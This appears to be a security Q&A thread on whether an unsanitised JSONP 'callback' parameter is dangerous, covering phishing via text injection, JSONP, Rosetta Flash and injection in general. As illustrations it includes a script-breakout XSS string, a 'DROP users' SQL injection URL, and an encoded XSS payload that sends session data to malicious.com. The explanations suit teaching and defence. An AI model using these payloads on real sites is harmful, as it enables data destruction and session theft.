52

Someone reported a bug on my site that I don't really consider an issue. My site has an URL akin to this:

www.site.com/ajax/ads.asp?callback=[text injection]

So filetype is application/json, and I don't see how that can affect security of site.

His point of contention was that it can bypass crossdomain.xml if someone visits page with this in it:

<script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script>

I did a search for this but couldn't really find any information that says what he is saying is true. I need someone to tell me how serious this is, if I really need to go through my scripts to fix every instance of this bug.

56

Plaintext injection is an issue. Say you have a page template that looks like this:

Hi <name>,

Blah blah blah.

And you can inject from the URL.

An attacker can construct an email with a link to www.example.com/ajax/ads.asp?name=Foo%2C+you+have+the+wrong+version+Flash+plugin%2C+our+company+policy+requires+that+you+use+version+vul.ne.rabl.e.%0D%0A%0D%0AHi%020Foo (which could also be minified).

This will make your page look like:

Hi Foo, you have the wrong version Flash plugin, our company policy requires that you use version vul.ne.rabl.e.

Hi Foo,

Blah blah blah.

The message looks like it comes from your site, and since your users trusts your site, they will likely believe the instructions that "you" have given.

  • Can you please explain how is this a threat? – A.L Dec 15 '14 at 19:07
  • 6
    @A.L Social Engineering. Like phishing – Canadian Luke Dec 15 '14 at 19:11
  • 3
    @CanadianLuke Like replacing the content of the site with a fake form? – A.L Dec 15 '14 at 19:13
  • 3
    @A.L That's one way to do it. But the point is, it is making the user trust the vulnerable site's information to be true and accurate; I've seen many "fake" Adobe Flash player installs that bring lots of "additional features", or viruses, in – Canadian Luke Dec 15 '14 at 19:21
  • 2
    @acbabis: you don't need links to do social engineering. Social Engineering exploits human and trust. A lot of people now know to double check suspicious emails on the website, but if you have a vulnerable website itself, then things becomes really hairy. – Lie Ryan Dec 16 '14 at 0:48
44

Cross site scripting is not a threat to the integrity of your web server. Rather, the problem is that an attacker can craft a site.com URL that will execute arbitrary JavaScript. If your users trust your site and allow it to do whatever it wants, this could be a major security hole.

  • 29
    +1 it's not your webserver that's at risk - it's your customers and your reputation. – Grant Dec 14 '14 at 22:25
23

Imagine if the injected text was:

"></script><script>alert("hi");"

which would make it look like this:

<script src="http://www.site.com/ajax/ads.asp?callback="></script><script>alert("hi");""></script>

Then, you have a working custom script that can do anything it wants in the page.

  • 2
    Hmm , that would not affect my site, since alert('hi') is executed on page where <script> is located , and have proper xss protection in place. I upwoted your question though. – Daniel Dec 14 '14 at 21:29
  • 24
    The point is the attacker could have whatever code they wanted executing in your page. If there was any secure data in that page (passwords, other data, etc...) the inserted script could have full access to that data, including the ability to send it off to other servers. – jfriend00 Dec 14 '14 at 22:16
  • 1
    I downvoted this. My understanding of the OP's question is that <script src="..."></script> is what would be included on the attacker's site in order to exploit the vulnerability (if it is indeed possible to exploit). Not that his site would generate that code. – immibis Dec 17 '14 at 2:22
2

His point of contention was that it can bypass crossdomain policies if someone visits page with this in it:

<script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script>

Yes, he's right. But that doesn't seem to be a security hole, instead, it looks like a feature. This technique of circumventing the same-origin-policy is called JSONP (and is very well documented).

However, there are some catches:

  • The correct content-type for JSONP responses is application/javascript, as they are executable scripts. It's no longer plain JSON.
  • If you don't know of JSONP or how it works, it's suspicious that you're using it. Whether this is a serious bug depends on what you are using it for:
  • JSONP can be exploited, as this is its nature. Make sure that you are not sending any confidential data, only such information that you want to be publicly accessible.
    Make sure to treat any requests for JSONP resources as if they had no credentials.
2

There is an attack that uses this exact attack vector, called Rosetta Flash (CVE-2014-4671).

As explained on the Rosetta Flash page, the vulnerability is that:

  1. With Flash, a SWF file can perform cookie-carrying GET and POST requests to the domain that hosts it, with no crossdomain.xml check. This is why allowing users to upload a SWF file on a sensitive domain is dangerous: by uploading a carefully crafted SWF, an attacker can make the victim perform requests that have side effects and exfiltrate sensitive data to an external, attacker-controlled, domain.

  2. JSONP, by design, allows an attacker to control the first bytes of the output of an endpoint by specifying the callback parameter in the request URL.

  3. SWF files can be embedded on an attacker-controlled domain using a Content-Type forcing <object> tag, and will be executed as Flash as long as the content looks like a valid Flash file.

This specific vulnerability has been mitigated by an update to Flash Player, but older versions are still vulnerable, and this same technique could conceivably be used to attack other systems.

Generalizing from this specific vulnerability: whenever possible it is best to not allow an attacker to control the first few bytes of any response you send, since that is the part "helpfully" used by browsers and other clients to sniff your content type, and browsers have been known to override Content-Type headers based on sniffed content in the past.

1

I think OP is focusing on the wrong place by looking at the URL. All GET and POST parameters can be abused, regardless of what they're called. The only relevant code is that which uses this parameter.

For example, you can have an SQL injection vulnerability if you concatenate this parameter on to an SQL query:

db_query("SELECT code FROM callbacks WHERE id = " + param("callback"))

A user could visit:

www.site.com/ajax/ads.asp?callback=0;DROP+users

You have an XSS vulnerability if you're doing something like:

return new Response("Hello " + param("callback"))

A user could visit:

www.site.com/ajax/ads.asp?callback=%3Cscript%3EaddToDom(%27%3Cimg%20src%3D%22http%3A%2F%2Fmalicious.com%2F%3Fdata%3D%27%2BharvestSessionData()%2B%27%22%2F%3E%27)%3C%2Fscript%3E

These are all variations on the same theme: treating all languages as strings, which allows them to be mixed. Other examples are shell injection, eval-based code injection, breaking out of "quotations", etc.

You can also defer these same vulnerabilities if you store the parameter somewhere:

// Escape the parameter when we use it in our SQL
db_query('INSERT INTO callbacks (:cb)', {'cb': param('callback')})

// But suffer the same problems in a later request
return new Response("Our callbacks include " + db_query("SELECT * FROM callbacks").join(", "))

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.